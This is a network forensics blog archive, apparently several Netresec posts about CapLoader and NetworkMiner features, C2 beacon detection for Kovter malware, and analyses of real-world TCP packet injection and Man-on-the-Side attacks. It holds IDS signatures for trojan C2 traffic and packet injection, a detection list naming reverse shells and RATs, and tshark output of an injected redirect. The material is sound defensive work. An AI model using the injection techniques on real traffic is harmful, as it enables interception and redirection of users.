More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Bug Bounty PCAP T-shirts

As of today we officially launch the 'Netresec Bug Bounty Program'. Unfortunately we don't have the financial muscles of Microsoft, Facebook or Google, so instead of money we'll be giving away t-shirts.

PCAP or it didn't happen t-shirt
Image: PCAP or it didn't happen t-shirt

To be awarded with one of our 'PCAP or it didn't happen' t-shirts you will have to:

  • Be able to reliably crash the latest version of NetworkMiner or CapLoader, or at least make the tool misbehave in some exceptional way.
  • Send a PCAP file that can be used to trigger the bug to info[at]

Those who find bugs will also receive an honorable mention in our blog post covering the release of the new version containing the bug fix.

Additionally, submissions that play a key-role in mitigating high-severity security vulnerabilities or addressing very important bugs will be awarded with a free license of either NetworkMiner Professional or the full commercial version of CapLoader.

Happy BugBounty Hunting!

Posted by Erik Hjelmvik on Tuesday, 27 September 2016 09:27:00 (UTC/GMT)

Tags: #NetworkMiner #CapLoader #PCAP #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Detecting Periodic Flows with CapLoader 1.4

CapLoader 1.4 logo

I am happy to announce a new release of our super-fast PCAP handling tool CapLoader! One of the new features in CapLoader makes it even easier to detect malicious network traffic without having to rely on blacklists, such as IDS signatures.

The new version of CapLoader includes new features such as:

  • Services Tab (more details below)
  • Input filter to limit number of parsed frames
  • Flow Transcript in Hosts and Services tabs
  • Keyword filtering
  • Full filtering capability for all tabs
  • Wireshark style coloring of flows, services and hosts

Services Tab

The biggest addition to version 1.4 of CapLoader is the Services tab, which presents a somewhat new way of aggregating the flows found in a PCAP file. Each row (or “service”) in the services tab represents a unique combination of <Client-IP, Server-IP, Server-port and Transport-protocol>. This means that if a single host makes multiple DNS requests to, then all those flows will be merged together as one row in the services tab.

CapLoader Services tab showing DNS requests to

This view makes it easy to see if a host is frequently accessing a particular network service. CapLoader even shows if the requests are made with regular intervals, in which case we measure the regularity and determine the most likely period between connections. The idea for measuring regularity comes from Sebastian Garcia's Stratosphere IPS, which can identify botnets by analyzing the periodicity of flows going to a C2 server.

Malware Example: Kovter.B

Here's what the Services tab looks like when loading 500 MB of PCAP files from a network where one of the hosts has been infected with malware (Win32/Kovter.B).

CapLoader service ordered on regularity

The services in the screenshot are sorted on the “Regularity” column, so that the most periodic ones are shown at the top. Services with a regularity value greater than 20 can be treated as periodic. In our case we see the top two services having a regularity of 36.9 with an estimated period of roughly 6h 2min. We can visualize the periodic behavior by opening the flows for those two services in a new instance if CapLoader. To do this, simply select the two services' rows, right-click the PCAP icon (in the top-right corner) and select “Open With > CapLoader”

CapLoader Flows tab with periodicly accessed service

As you can see in the flows tab, these services are accessed by the client on a regular interval of about 6h 2min. Doing a flow transcript of one such flow additionally reveals that the payload seems suspicious (not HTTP on TCP 80).

CapLoader transcript of Kovter.B C2 attempt (hex)
Image: Kovter.B malware trying to communicate with a C2 server

The Kovter malware failed to reach the C2 server in the attempt above, but there is a successful connection going to a C2 server at every 3'rd hour (see service number 8 in the list of the most periodically accessed services). Here's a flow transcript of one such beacon:

CapLoader Transcript of Kovter.B C2 traffic
Image: Kovter.B malware talking to C2 server at

Legitimate Periodic Services

Seven out of the 10 most periodically accessed services are actually caused by the Kovter malware trying to reach various C2 servers. The three most periodically accessed services that aren't malicious are:

  • Service #3 is a legitimate Microsoft service (SeaPort connecting to
  • Service #5 is a mail client connecting to the local POP3 server every 30 minutes.
  • Service #6 is Microsoft-CryptoAPI updating its Certificate Revocation List from every 5 hours.

Signature-Free Intrusion Detection

As shown in this blog post, analyzing the regularity of services is an efficient way of detecting C2 beacons without having to rely on IDS signatures. This method goes hand-in-hand with our Rinse-Repeat Intrusion Detection approach, which can be used to find malicous network traffic simply by ignoring traffic that seems “normal”.


Several bugs have been fixed in CapLoader 1.4, such as:

  • Support for frames with Captured Length > Real Lenght (Thanks to Dietrich Hasselhorn for finding this bug)
  • Delete key is no longer hijacked by the “Hide Selected Flows” button (Thanks to Dominik Andreansky for finding this bug).
  • CapLoader GUI now looks okay even with graphics are scaled through "custom sizing". Thanks to Roland Wagner for finding this.

Downloading CapLoader 1.4

The regularity and period detection is available in our free trial version of CapLoader. To try it out simply grab a copy here: (no registration needed)

All paying customers with an older version of CapLoader can grab a free update to version 1.4 at our customer portal.

UPDATE June 2, 2016

We're happy to announce that it is now possible to detect Kovter's C2 communication with help of an IDS signature thanks to Edward Fjellskål. Edward shared his IDS signature "NT TROJAN Downloader/Malware/ClickFraud.Win32.Kovter Client CnC Traffic" on the Emerging-Sigs mailing list yesterday. We have worked with Edward on this and the signature has been verified on our Kovter C2 dataset.

UPDATE June 8, 2016

Edward Fjellskål's IDS signature "ET TROJAN Win32.Kovter Client CnC Traffic" has now been published as an Emerging Threats open rule with SID 2022861.

#alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Win32.Kovter Client CnC? Traffic"; flow:established,to_server; dsize:4<>256; content:!"HTTP"; content:"|00 00 00|"; offset:1; depth:3; pcre:"/^[\x11\x21-\x26\x41\x45\x70-\x79]/R"; content:!"|00 00|"; distance:0; byte_jump:1,0,from_beginning,post_offset 3; isdataat:!2,relative; pcre:!"/\x00$/"; reference:url,; classtype:trojan-activity; sid:2022861; rev:1;)

Posted by Erik Hjelmvik on Monday, 23 May 2016 11:55:00 (UTC/GMT)

Tags: #CapLoader #PCAP #C2 #Intrusion Detection

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Packet Injection Attacks in the Wild

I have previously blogged about packet injection attacks, such as the Chinese DDoS of GitHub and Covert Man-on-the-Side Attacks. However, this time I've decided to share some intelligence on real-world packet injection attacks that have been running for several months and that are still active today.

Packet Injection by Network Operators

Gabi Nakibly, Jaime Schcolnik and Yossi Rubin recently released a very interesting research paper titled “Website-Targeted False Content Injection by Network Operators”, where they analyzed packet injection attacks in the wild. Here's a snippet from the paper's abstract:

It is known that some network operators inject false content into users’ network traffic. Yet all previous works that investigate this practice focus on edge ISPs (Internet Service Providers), namely, those that provide Internet access to end users. Edge ISPs that inject false content affect their customers only. However, in this work we show that not only edge ISPs may inject false content, but also core network operators. These operators can potentially alter the traffic of all Internet users who visit predetermined websites.

The researchers analyzed 1.4 petabits of HTTP traffic, captured at four different locations; three universities and one corporation. Some of their findings have been made available as anonymized PCAP files here:

We have attempted to recreate these packet injections by visiting the same URLs again. Unfortunately most of our attempts didn't generate any injected responses, but we did manage to trigger injections for two of the groups listed by Nakibly et al. (“hao” and “GPWA”).

Redirect Race between and

We managed to get very reliable packet injections when visiting the website We have decided to share one such PCAP file containing a packet injection attack here:

This is what it looks like when loading that PCAP file into CapLoader and doing a “Flow Transcript” on the first TCP session:

CapLoader Flow Transcript of race between and
Image: CapLoader Flow Transcript (looks a bit like Wireshark's Follow-TCP-Stream)

We can see in the screenshot above that the client requests and receives two different responses with the same sequence number (3820080905):

  • The first response is a “302 Found”, forwarding the client to:
  • The second response is a “302 Moved Temporarily”, that attempts a redirect to:

Judging from the IP Time-To-Live (TTL) values we assume that the first response ( was an injected packet, while the second response ( was coming from the real webserver for

If you have an eye for details, then you might notice that the injected packet doesn't use the standard CR-LF (0x0d 0x0a) line breaks in the HTTP response. The injected packet only uses LF (0x0a) as line feed in the HTTP header.

Since the injected response arrived before the real response the client followed the injected redirect to This is what the browser showed after trying to load

Browser showing when trying to visit

SSL encryption is an effective protection against packet injection attacks. So if the user instead enters then the browser follows the real redirect to

Browser showing when using SSL to visit redirected to

Prior to the release of Gabi's packet injection paper, the only publicly available PCAP file showing a real-world packet injection was this one:

That PCAP file was released after Yun Zheng Hu (of Fox-IT) gave a presentation titled “Detecting Quantum Insert” at BroCon 2015. A video recording of Yun Zheng's talk is available online, including a live demo of the packet injection.

We have managed to re-trigger this packet injection attack as well, simply by visiting Doing so triggers two injected HTTP responses that attempts to do a redirect to The target page of the injected responses has a message from the Alibaba Group ( saying that the page has been blocked.

Website blocked message from Alibaba Group

We have decided to also share a PCAP file containing a packet injection attack for here:

This is what it looks like when that PCAP file is loaded into NetworkMiner Professional, and the Browsers tab is opened in order to analyze the various HTTP redirections:

Browsers tab in NeworkMiner Professional 2.0
Image: Browsers tab in NetworkMiner Professional 2.0

Here's a short recap of what is happening in our shared PCAP file for

  • Frame 13 : is opened
  • Frame 18 : Real server responds with an HTML refresh leading to
  • Frame 20 : The client also receives two injected packets trying to do a “403 Forbidden” that redirects to However, these injected packets arrived too late.
  • Frame 24 : The client proceeds by loading
  • Frame 25 : Two new injected responses are sent, this time successfully redirecting the client to the Alibaba page.
  • Frame 28 : The real response arrives too late.
  • Frame 43 : The client opens the Alibaba page with message about the site being blocked

Protecting against Packet Injection Attacks

The best way to protect against TCP packet injection attacks is to use SSL encryption. Relying on HTTP websites to do a redirect to an HTTPS url isn't enough, since that redirect could be targeted by packet injection. So make sure to actually type “https://” (or use a browser plug-in) in order to avoid being affected by injected TCP packets.

Referenced Capture Files

The following PCAP files have been referenced in this blog post:

For more PCAP files, please visit our list of publicly available PCAP files here:

Posted by Erik Hjelmvik on Tuesday, 01 March 2016 13:37:00 (UTC/GMT)

Tags: #NetworkMiner #HTTP #browser #CapLoader #MOTS #HTTPS #TCP #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Analyzing Web Browsing Activity

NetworkMiner logo HTTP GET

One of the features included in the newly released version 2.0 of NetworkMiner Professional is a new tab called “Browsers”. This tab shows web browsing requests and reponses in a hierarchical tree view, with the identified web browsers as root nodes.

The idea of tracking browser activity this way was suggested to me by Steffen Thorkildsen way back in 2009. I'm therefore happy to finally have this feature implemented in NetworkMiner!

At first glance, the Browser tab looks somewhat like the Hosts tab. One difference is that there can be multiple browsers per host, since each unique HTTP User-Agent is considered a separate browser.

NetworkMiner Professional 2.0 Browsers tab

The web pages (URLs) visited by a browser can be analyzed by expanding the node of that browser. The URLs are organized in a hierarchical structure, so that all URLs visited by clicking a link on a web page are placed under the node of that web page. This enables the analyst to see how a user ended up at a particular URL. NetworkMiner primarily uses the HTTP referer header (the misspelling of referrer stems back to RFC1945) to backtrack the pages visited before landing at a particular page.

NetworkMiner Professional 2.0 Browsers tab - Bing search
Image: Bing search for “create bitcoin address” that led the user to

The browser tree view also shows HTTP redirects, such as “302 Found” and “301 moved permanently”. These redirects can be used in order to see encrypted HTTPS URLs that a user is redirected to, for example when logging in at a website.

NetworkMiner Professional 2.0 Browsers tab - 302 Moved Temporarily
Image: Microsoft responding with a “302 Moved Temporarily" redirect

The icons that show up at some web servers are favicon images that have been passively extracted from the analyzed PCAP file.

NetworkMiner Professional 2.0 Browsers tab - Favicon
Image: Website icons extracted from favicon.ico downloads

We hope the Browser tab can be of help in criminal investigations in order to show whether or not a suspect visited a particular website intentionally. This feature can also be used to track the activity of malware that uses HTTP for command-and-control (C2) as well as to analyze redirect chains used for malware downloads.

NetworkMiner Professional 2.0 Browsers tab - Redirect Chain
Image: PCAP file containing a redirect chain leading to malware downloads

The PCAP file loaded in the screenshot above originally comes from Note that our analysis was done by running NetworkMiner in Linux to prevent accidental malware infection. The events shown in NetworkMiner's browser tab matches the description of the redirect chain provided at port 80 - - Compromised website port 80 - - First redirect port 80 - - Second redirect port 80 - - Nuclear EK

The redirect chain leads to a Nuclear Exploit Kit (SWF file with MD5 695a07cbcac3ca64010e168fe495ff4a VirusTotal). Later on the Nuclear EK retrieves the file “kernel1.exe”, which seems to be related to the Kelihos botnet.

Posted by Erik Hjelmvik on Thursday, 18 February 2016 13:37:00 (UTC/GMT)

Tags: #NetworkMiner #HTTP #browser #favicon #malware #NSM #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Network Forensics Training at TROOPERS

Troopers logo with Network Forensics Training

I'm happy to announce that I will teach a two-day Network Forensics class at the upcoming Troopers conference in March! The first day of training (March 14) will cover how to use open source tools to analyze intrusions and malware in captured network traffic. On day two (March 15) I will show attendees some tips and tricks for how to use software developed by us at Netresec, i.e. NetworkMiner Professional and CapLoader. This training is a rare opportunity to learn how to use this software directly from the main developer (me). Everyone taking the class will also get a free 6 month personal license for both NetworkMiner Pro and CapLoader.

Scenario and Dataset

The dataset analyzed in the class has been created using REAL physical machines and a REAL internet connection. All traffic on the network is captured to PCAP files by a SecurityOnion sensor. The scenario includes events, such as:

  • Web Defacement
  • Man-on-the-Side (MOTS) attack (much like NSA/GCHQ's QUANTUM INSERT)
  • Backdoor infection through trojanized software
  • Spear phishing
  • Use of a popular RAT (njRAT) for remote access and exfiltration
  • Infection with real malware

Class attendees will learn to analyze captured network traffic from these events in order to:

  • Investigate web server compromises and defacements
  • Detect Man-on-the-Side attacks
  • Identify covert backdoors
  • Reassemble incoming emails and attachments
  • Detect and decode RAT/backdoor traffic
  • Detect malicious traffic without having to rely on blacklists, AV or third-party detection services

Training Room
Training room at TROOPERS'15

For more details about the training, please visit Netresec's or Troopers' training pages:

 Print Media Academy in Heidelberg

The Venue

The TROOPERS conference and training take place at the Print Media Academy in Heidelberg, Germany. For more info about travel and accommodation, please visit:

Hope to see you at TROOPERS16 in Heidelberg, Germany!

Posted by Erik Hjelmvik on Tuesday, 15 December 2015 10:53:00 (UTC/GMT)

Tags: #Netresec #PCAP #Troopers #Network Forensics #Training #Class #NetworkMiner #CapLoader

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

BPF is your Friend

CapLoader BPF

CapLoader comes with support for Berkeley Packet Filter (BPF), which makes it possible to filter network traffic based on IP addresses, protocols and port numbers without using external tools. Being able to filter captured network traffic is crucial when analyzing large sets of PCAP files as well as in order to hunt down compromised hosts with Rinse Repeat Intrusion Detection.

There are two ways to apply filters with BPF in CapLoader; you can either apply an input filter before loading your PCAPs, or you can apply a display filter after the capture files have been loaded.

Input Filter

The fastest way to filter a large set of PCAP files with CapLoader is to enter an Input Filter before loading the capture files. Having an input filter will speed up the loading time significantly, since CapLoader will not need to analyze packets and flows that don't match the BPF syntax. The downside is that you will need to know beforehand what filter you want to use. In order to apply a changed input filter you need to reload the loaded PCAP files (pressing F5 will do this for you).

CapLoader with input filter “tcp port 443”
Image: CapLoader with input filter “tcp port 443”

Display Filter

CapLoader supports display filters in order to allow filters to be changed on the fly, without having to reload the PCAP files. As the name implies, display filters affect what flows/services/hosts that are displayed in CapLoader. A changed display filter does not require the dataset to be reloaded, but it does require the GUI to update the visible flows. This GUI update will be somewhat slower compared to when setting an input filter.

CapLoader with display filter “host”
Image: CapLoader with display filter “host”

BPF Syntax

CapLoader's BPF implementation does not support the full BPF syntax. In fact, only the most central primitives are implemented, which are:

host <IP address>Flows to or from the specified IPv4 or IPv6 address
net <CIDR> Flows to or from the specified IP network, uses CIDR notation
port <port>Flows to or from the specified port number
ip6Flows using IPv6 addresses
ipFlows using IPv4 addresses
tcpTCP flows
udpUDP flows
sctpSCTP flows

More complex filter expressions can be built up by using the words and, or, not and parentheses to combine primitives. Here are some examples:

  • host and udp port 53
  • net and port 80
  • (port 80 or port 443) and not host

For all boolean algebra geeks out there we can confirm that our BPF implementation gives and precedence over or, which means that the last example above would give a different result if the parentheses were removed.

Keeping it Short

Steve McCanne gave a keynote presentation at SharkFest 2011, where he talked about how he created BPF. Steve's work was guided by Van Jacobson, who challenged him to make the BPF syntax human friendly rather than requiring the user to type a clunky filtering syntax. We've adopted this thinking and therefore allow filters like these:

    Flows to or from IP address Translates to “ip host”

  • 128.3/16
    Flows to or from the network. Translates to “ip net”

  • port 53
    Flows to or from TCP, UDP or SCTP port 53.

Try it for Free!

We've made the BPF implementation available even in the free version of CapLoader. You don't need to register to get the free version; just download, extract and run. The tool is portable, so you won't even have to install it. Visit to grab a copy and start filtering!

UPDATE 2016-05-23

With the release of CapLoader 1.4 it is now possible to apply Display Filters not only to the Flows tab, but also to the Services and Hosts tab.

Posted by Erik Hjelmvik on Monday, 30 November 2015 08:15:00 (UTC/GMT)

Tags: #CapLoader #BPF #PCAP #Berkeley Packet Filter #filter #IP #port #CIDR

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

From 4SICS with ICS PCAP Files

I attended to the Swedish industrial cyber security conference 4SICS last month and brought back a bunch of PCAP files. Not just any PCAP files, but captured network traffic from the ICS lab that was set up in the Geek Lounge at 4SICS. These PCAP files are now made publicly available here, because captured network traffic from ICS/SCADA networks is a really scarce resource.

4SICS logo 4SICS is the the leading Industrial Control System (ICS) security conference in Europe, which brings in speakers and attendees from all around the world. I tought a one-day class on analyzing network traffic as part of the pre-conference training at 4SICS. In this class we analyzed PCAP files containing industrial protocols, such as Modbus/TCP and IEC-104. Unfortunately there aren't many capture files around that carry these protocols, so the ICS analysis part in my class wasn't as advanced as I wanted it to be.

I have been aware of this limited access to ICS traffic for some time now, which is why I decided to work with the 4SICS crew in order to set up a sniffer in the ICS lab at the 4SICS conference. This lab contained devices such as PLCs, RTUs, servers, industrial network equipment (switches, firewalls, etc), which were available for hands-on "testing" by 4SICS attendees.

4SICS ICS Lab. Image Credit: 4SICS

The network TAP vendor Garland were Technology Partners at 4SICS, so I didn't even have to bring a network TAP to the lab. I just connected my sniffer machine and let it record for three days. Chris Sistrunk also joined the sniffing party later in the conference by connecting his SEL-3355, which runs SecurityOnion, to the network TAP.

4SICS Network TAP and Sniffers Image Credit: Patrick Nixdorf

The 350MB of network traffic that was captured during the 4SICS conference is now publicly available here:


Posted by Erik Hjelmvik on Wednesday, 04 November 2015 15:45:00 (UTC/GMT)

Tags: #ICS #SCADA #PCAP #4SICS #Modbus #sniffer #PLC

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Port Independent Protocol Detection

Protocol Alphabet Soup by ThousandEyes

Our heavy-duty PCAP analyzer CapLoader comes with a feature called ”Port Independent Protocol Identification”, a.k.a. PIPI (see Richard Bejtlich's PIPI blog post from 2006). Academic research in the Traffic Measurement field often use the term ”Traffic Classification”, which is similar but not the same thing. Traffic Classification normally group network traffic in broad classes, such as Email, Web, Chat or VoIP. CapLoader, on the other hand, identifies the actual application layer protocol used in each flow. So instead of classifying a flow as ”VoIP” CapLoader will tell you if the flow carries SIP, Skype, RTP or MGCP traffic. This approach is also known as “Dynamic Protocol Detection”.

Being able to identify application layer protocols without relying on the TCP or UDP port number is crucial when analyzing malicious traffic, such as malware Command-and-Control (C2) communication, covert backdoors and rouge servers, since such communication often use services on non-standard ports. Some common examples are:

  • Many botnet C2 protocols communicate over port TCP 443, but using a proprietary protocol rather than HTTP over SSL.
  • Backdoors on hacked computers and network devices typically wither run a standard service like SSH on a port other than 22 in order to hide.
  • More advanced backdoors use port knocking to run a proprietary C2 protocol on a standard port (SYNful knock runs on TCP 80).

This means that by analyzing network traffic for port-protocol anomalies, like an outgoing TCP connection to TCP 443 that isn't SSL, you can effectively detect intrusions without having IDS signatures for all C2 protocols. This analysis technique is often used when performing Rinse-Repeat Intrusion Detection, which is a blacklist-free approach for identifying intrusions and other form of malicious network traffic. With CapLoader one can simply apply a BPF filter like “port 443” and scroll through the displayed flows to make sure they are all say “SSL” in the Protocol column.

CapLoader detects non-SSL traffic to Image: Miuref/Boaxxe Trojan C2 traffic to "1.web-counter[.]info" on TCP 443 doesn't use SSL (or HTTPS)

Statistical Analysis

CapLoader relies on statistical analysis of each TCP, UDP and SCTP session's behavior in order to compare it to previously computed statistical models for known protocols. These statistical models are generated using a multitude of metrics, such as inter-packet delays, packet sizes and payload data. The port number is, on the other hand, a parameter that is intentionally not used by CapLoader to determine the application layer protocol.

The PIPI/Dynamic Protocol Detection feature in CapLoader has been designed to detect even encrypted and obfuscated binary protocols, such as Tor and Encrypted BitTorrent (MSE). These protocols are designed in order to deceive protocol detection mechanisms, and traditional signature based protocol detection algorithms can't reliably detect them. The statistical approach employed by CapLoader can, on the other hand, actually detect even these highly obfuscated protocols. It is, however, important to note that being a statistical method it will never be 100% accurate. Analysts should therefore not take for granted that a flow is using the protocol stated by CapLoader. There are some situations when it is very difficult to accurately classify an encrypted protocol, such as when the first part of a TCP session is missing in the analyzed data. This can occur when there is an ongoing session that was established before the packet capture was started.

Identified Protocols

The following protocols are currently available for detection in CapLoader's protocol database:

AOL Instant Messenger
BitTorrent Encrypted - MSE
DropBox LSP
eDonkey Obfuscated
Gh0st RAT
Groove LAN DPP
MikroTik NDP
Modbus TCP
MSN Messenger
NetBIOS Datagram Service
NetBIOS Name Service
NetBIOS Session Service
Poison Ivy RAT
Reverse Shell
SopCast P2P
Spotify P2P
Spotify Server
TeamViewer UDP
XMPP Jabber
Zeus TCP
Zeus UDP

The list of implemented protocols is constantly being increased with new protocols.

PIPI in NetworkMiner

NetworkMiner Logo

NetworkMiner Professional, which is the commercial version of NetworkMiner, also comes with an implementation of our protocol detection mechanism. Even though NetworkMiner Professional doesn't detect as many protocols as CapLoader, the PIPI feature built into NetworkMiner Pro still helps a lot when analyzing HTTP traffic on ports other that 80 or 8080 as well as in order to reassemble files downloaded from FTP or TFTP servers running on non-standard ports.


Posted by Erik Hjelmvik on Tuesday, 06 October 2015 09:05:00 (UTC/GMT)

Tags: #Protocol Identification #CapLoader #VoIP #SIP #RTP #TOR #SSL #PIPI #PCAP #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

CapLoader 1.3 Released

CapLoader Logo

A new version of our heavy-duty PCAP parser tool CapLoader is now available. There are many new features and improvements in this release, such as the ability to filter flows with BPF, domain name extraction via passive DNS parser and matching of domain names against a local white list.

Filtering with BPF

The main focus in the work behind CapLoader 1.3 has been to fully support the Rinse-Repeat Intrusion Detection methodology. We've done this by improving the filtering capabilities in CapLoader. For starters, we've added an input filter, which can be used to specify IP addresses, IP networks, protocols or port numbers to be parsed or ignored. The input filter uses the Berkeley Packet Filter (BPF) syntax, and is designed to run really fast. So if you wanna analyze only HTTP traffic you can simply write “port 80” as your input filter to have CapLoader only parse and display flows going to or from port 80. We have also added a display filter, which unlike Wireshark also uses BPF. Thus, once a set of flows is loaded one can easily apply different display filters, like “host” or “net”, to apply different views on the parsed data.

CapLoader BPF Input Filter and Display Filter
Image: CapLoader with input filter "port 80 or port 443" and display filter "not net".

The main differences between the input filter and display filter are:

  • Input filter is much faster than the display filter, so if you know beforehand what ports, protocols or IP addresses you are interested in then make sure to apply them as an input filter. You will notice a delay when applying a display filter to a view of 10.000 flows or more.
  • In order to apply a new input filter CapLoader has to reload all the opened PCAP files (which is done by pressing F5). Modifying display filters, on the other hand, only requires you to press Enter or hit the “Apply” button.
  • Previously applied display filters are accessible in a drop-down menu in the GUI, but no history is kept of previous input filters.

NetFlow + DNS == true

The “Flows” view in CapLoader gives a great overview of all TCP, UDP and SCTP flows in the loaded PCAP files. However, it is usually not obvious to an analyst what every IP address is used for. We have therefore added a DNS parser to CapLoader, so that all DNS packets can be parsed in order to map IP addresses to domain names. The extracted domain names are displayed for each flow, which is very useful when performing Rinse-Repeat analysis in order to quickly remove “known good servers” from the analysis.

Leveraging the Alexa top 1M list

As we've show in in our previous blog post “DNS whitelisting in NetworkMiner”, using a list of popular domain names as a whitelist can be an effective method for finding malware. We often use this approach in order to quickly remove lots of known good servers when doing Rinse-Repeat analysis in large datasets.

Therefore, just as we did for NetworkMiner 1.5, CapLoader now includes Alexa's list of the 1 million most popular domain names on the Internet. All domain names, parsed from DNS traffic, are checked against the Alexa list. Domains listed in the whitelist are shown in CapLoader's “Server_Alexa_Domian” column. This makes it very easy to sort on this column in order to remove (hide) all flows going to “normal” servers on the Internet. After removing all those flows, what you're left with is pretty much just:

  • Local traffic (not sent over the Internet)
  • Outgoing traffic to either new or obscure domains

Manually going through the remaining flows can be very rewarding, as it can reveal C2 traffic from malware that has not yet been detected by traditional security products like anti-virus or IDS.

Flows in CapLoader with DNS parsing and Alexa lookup
Image: CapLoader with malicious flow to 1.web-counter[.]info (Miuref/Boaxxe Trojan) singled out due to missing Alexa match.

Many new features in CapLoader 1.3

The new features highlighted above are far from the only additions made to CapLoader 1.3. Here is a more complete list of improvements in this release:

  • Support for “Select Flows in PCAP” to extract and select 5-tuples from a PCAP-file. This can be a Snort PCAP with packets that have triggered IDS signatures. This way you can easily extract the whole TCP or UDP flow for each signature match, instead of just trying to make sense of one single packet per alert.
  • Improved packet carver functionality to better carve IP, TCP and UPD packets from any file. This includes memory dumps as well as proprietary and obscure packet capture formats.
  • Support for SCTP flows.
  • DNS parser.
  • Alexa top 1M matching.
  • Input filter and display filter with BPF syntax.
  • Flow Producer-Consumer-Ratio PCR.
  • Flow Transcript can be opened simply by double-clicking a flow.
  • Find form updated with option to hide non-matching flows instead of just selecting the flows that matched the keyword search criteria.
  • New flow transcript encoding with IP TTL, TCP flags and sequence numbers to support analysis of Man-on-the-Side attacks.
  • Faster loading of previously opened files, MD5 hashes don't need to be recalculated.
  • A selected set of flows in the GUI can be inverted simply by right-clicking the flow list and selecting “Invert Selection” or by hitting Ctrl+I.

Downloading CapLoader 1.3

All these new features, except for the Alexa lookup of domain names, are available in our free trial version of CapLoader. So to try out these new features in CapLoader, simply grab a trial download here: (no registration needed)

All paying customers with an older version of CapLoader can grab a free update for version 1.3 at our customer portal.

Posted by Erik Hjelmvik on Monday, 28 September 2015 07:30:00 (UTC/GMT)

Tags: #CapLoader #BPF #Berkeley Packet Filter #Rinse-Repeat #DNS #Alexa #PCAP #NetFlow #C2

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Covert Man-on-the-Side Attacks


After Edward Snowden exposed NSA's Man-on-the-Side attack capabilities we've started to see IDS signatures that can detect such attacks being released and re-discovered. However, despite these efforts Man-on-the-Side attacks, such as QUANTUM INSERT, can still be carried out without triggering these IDS signatures.

I recently taught a network forensics class in Stockholm. One of the topics covered in this training was how to detect Man-on-the-Side attacks in full content PCAP files.

Man-on-the-Side Explained A Man-on-the-Side (MOTS) attack has the following two characteristics:
  • The attacker can read the traffic and insert new messages, but not to modify or delete messages sent by other participants.
  • The attacker relies on a timing advantage to make sure that the response he sends to the request of a victim arrives before the legitimate response.

In practice this means that the attacker relies on packet injection to insert a TCP packet with a payload to be executed by the victim, such as an HTTP redirect to a malicious web site (source The Intercept). The TCP sequence number of this injected packet will typically be the same as that in the real HTTP response coming from the legitimate web server. Thus, the end node will see two overlapping TCP segments with different application layer data.

In one of the labs, in the network forensics training, students were tasked with finding a Man-on-the-Side attack in a 2.3 GB PCAP dataset. However, the way this MOTS attack was carried out made it invisible to normal signatures designed to detect TCP stream overlaps with different data, such as the Suricata signature 2210050.

alert tcp any any -> any any (msg:"SURICATA STREAM reassembly overlap with different data"; stream-event:reassembly_overlap_different_data; classtype:protocol-command-decode; sid:2210050; rev:2;)

The reason why Suricata and other methods fail to detect this attack is because the injected packet contained both application layer data (an HTTP redirect) and a TCP FIN flag. Upon receiving this spoofed packet the client (victim) followed the redirect as well as closed down its current TCP socket to the web server, by responding with a FIN+ACK packet. Subsequent packets sent by the real web server were then ignored by the client since the TCP socket was already closed when they arrived.

Stream reassembly engines in intrusion detection systems also ignore packets sent after the TCP tear-down, since the TCP session is assumed to be closed at this point. Overlapping TCP segments with different data are therefore not detected by intrusion detection systems when an injected TCP packet carries the FIN flag. I've created an example PCAP file, which illustrate this behavior, called mots-with-fin.pcap (this is not the MOTS attack analyzed in my training). Here's what the PCAP file looks like when analyzed with Tshark:

tshark -r mots-with-fin.pcap -T fields -e ip.src -e ip.dst -e ip.ttl -e tcp.seq -e tcp.flags -e http.response.code -e http.response.phrase 64 189665416  0x0002       54 4114717473 0x0012 64 189665417  0x0010 64 189665417  0x0018       64 4114717474 0x0019 302 Found <--INJECTED 64 189665756  0x0010       54 4114717474 0x0010 64 189665756  0x0011       54 4114717474 0x0018 301 Moved Permanently

Frame number 5 is the injected “302 Found” packet spoofed by the attacker. The TCP flag value 0x19 translates to FIN+PUSH+ACK, which is the attackers attempt to tear-down the TCP connection. The client responds with a FIN+ACK (0x11) in frame 8. The final frame is the real HTTP response coming from the legitimate web server.

Detecting MOTS Attacks

Martin Bruse was one of the guys taking the network forensics class last week. After realizing that there currently doesn't seem to exist any effective method for automatically detecting TCP segment overlaps with different data, regardless of the TCP state, Martin developed a tool called qisniff. This is what it looks like when mots-with-fin.pcap is analyzed with qisniff:

go run qisniff.go -file mots_with_fin.pcap
-> 4114717474
HTTP/1.1 302 Found
Location: //
Content-Length: 0

HTTP/1.1 301 Moved Permanently
Date: Tue, 21 Apr 2015 00:40:01 GMT

In the output above we can see the injected content <A> and the legitimate content from the real web server <B>. What qisniff does is basically reassembling streams and comparing the application layer data in new TCP segments with that in previously received segments. This is a very generic way of detecting any form of packet injection in a TCP stream, regardless if it is done as part of a Quantum Insert attack, an Airpwn injection or some brand new packet injection attack.

Martin's qisniff tool is open sourced under a GPLv2 license and is available on GitHub here:

To run qisniff you need to have Go 1.5 installed as well as gopacket.


We would like to thank Fox-IT for publishing their great blog post Deep dive into QUANTUM INSERT, in which they shed some light on many technical details of Man-on-the-Sida attacks as well as published IDS signatures designed to detect such attacks.

UPDATE 2016-02-02

David Stainton has updated his HoneyBadger tool, which is specifically designed detect TCP injection attacks, so that it now also detects injected TCP packets with the FIN flag set. The update was released on January 31, in update 1457755.

HoneyBadger detecting an injected TCP packet with FIN flag Image: HoneyBadger detecting injected packet in the mots-with-fin.pcap file we released.

UPDATE 2016-10-25

I have now released my own tool called "findject", which is a simple python script that can detect packet injection attacks like QUANTUM INSERT. You can read more about how to detect this type of attacks with findject in my blog post "Detect TCP content injection attacks with findject".

findject logo

Posted by Erik Hjelmvik on Monday, 21 September 2015 08:23:00 (UTC/GMT)

Tags: #MOTS #PCAP #TCP #Suricata #stream

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Rinse-Repeat Intrusion Detection

